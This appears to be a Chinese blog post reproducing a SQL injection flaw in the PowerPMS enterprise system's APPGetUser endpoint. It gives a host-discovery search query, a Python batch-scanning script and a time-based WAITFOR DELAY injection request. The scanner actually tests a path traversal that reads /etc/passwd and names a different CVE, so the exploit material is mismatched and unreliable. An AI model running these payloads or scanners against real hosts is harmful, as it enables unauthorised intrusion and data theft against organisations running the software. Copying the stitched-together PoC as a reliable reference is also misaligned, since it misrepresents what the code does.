【漏洞复现】普华-PowerPMS APPGetUser SQL注入漏洞

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

PowerPMS 是一款综合性的企业管理系统,它集成了财务管理、销售管理、采购管理、仓储管理以及项目管理等多个功能模块。该系统采用模块化设计,可以根据企业的具体需求进行灵活的配置和二次开发。PowerPMS 拥有用户友好的界面和流畅的操作流程,能够帮助企业高效地管理各种业务活动。此外,系统还支持多公司、多仓库、多币种等高级功能,能够满足不同规模企业的管理需求。其接口**/APPAccount/APPGetUser?name=1**存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息。

二、资产收集

1.使用网络空间测绘引擎搜索

**鹰图检索:"**PowerPMS用户登录"

2.使用poc批量扫描

python 复制代码
import urllib.request
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
import re

# 禁用SSL证书验证,允许不安全的请求
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    # 读取文件中的URL列表
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    # 移除URL末尾的斜杠
    url = url.rstrip("/")
    # 构造目标URL,尝试访问API文档中的敏感文件etc/passwd
    target = url+"/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
    }
    try:
        # 发送GET请求
        response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
        res = urllib.request.urlopen(response)
        status_code = res.getcode()
        content = res.read().decode()
        # 检查响应状态码和内容,判断是否成功读取到etc/passwd文件
        if status_code == 200 and 'root:' in content and 'var' in content:
            print(f"\033[31mDiscovered:{url}: Bazaar_CVE-2024-40348_ArbiraryFileRead!\033[0m")
            return True
    except Exception as e:
        print(e)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        # 如果提供了单个URL,直接检查
        check(url)
    elif txt:
        # 如果提供了包含多个URL的文件,逐个检查
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        # 如果没有提供任何参数,显示帮助信息
        print("help")

cmd运行poc脚本:python poc.py -f host.txt

随机寻找的幸运儿

三、漏洞复现

1.构造数据包

1.构造数据包:

html 复制代码
GET /APPAccount/APPGetUser?name=1');WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host:x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close

2.数据包分析

  1. 请求行(Request Line):

    • 方法:GET
    • URI:/APPAccount/APPGetUser?name=1');WAITFOR+DELAY+'0:0:5'--
    • HTTP版本:HTTP/1.1
  2. 请求头(Headers):

    • Host:x.x.x.x
    • User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
    • Connection:close
  • 请求行中的方法是GET,表示这是一个获取资源的请求。
  • URI中包含了一个SQL注入攻击的尝试,其中';WAITFOR DELAY '0:0:5'--是SQL注入的一部分,用于在数据库中执行延迟操作。这种攻击可能会导致服务器响应缓慢或拒绝服务。
  • 请求头中的Host指定了目标服务器的地址。
  • User-Agent提供了客户端浏览器的信息,包括操作系统、浏览器类型和版本等。
  • Connection设置为close,表示客户端希望在收到响应后立即关闭连接。

3.结束跑路

1.构造数据包,延时5S

2.构造数据包,延时3秒

**每篇一言:**风月折断杨柳枝,琴瑟朝露挥掷成诗。

相关推荐
Fanmeang4 分钟前
华为防火墙基础功能详解:构建网络安全的基石
运维·网络·安全·华为·防火墙·策略·安全域
Zhen (Evan) Wang10 分钟前
SQL Server Service Broker启用详解以及常见问题
数据库·sqlserver
铭哥的编程日记16 分钟前
【Linux网络】传输层协议TCP
linux·网络·tcp/ip
马克学长18 分钟前
SSM文创产品推荐系统设计与实现95ml5(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·ssm 框架·高校学生管理数字化·ssm 框架应用·商品分类与信息管理
hzk的学习笔记25 分钟前
Redisson 的 Watchdog 机制
数据库·redis·分布式·缓存
数字供应链安全产品选型25 分钟前
公示 | 悬镜安全通过首批《信息技术 软件物料清单数据格式规范》行业标准符合性试点验证
安全
AWS官方合作商26 分钟前
AWS Lambda的安全之道:S3静态加密与运行时完整性检查的双重保障
安全·云计算·aws
MarkHD27 分钟前
蓝牙钥匙 第69次 蓝牙钥匙安全与便捷性平衡:从理论到实践的全方位解析
网络·人工智能·安全
罗光记33 分钟前
夜晚的梦
数据库·其他·百度·新浪微博·segmentfault
韩立学长37 分钟前
基于Springboot的智慧管网灌溉系统i1agupa7(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·spring boot·后端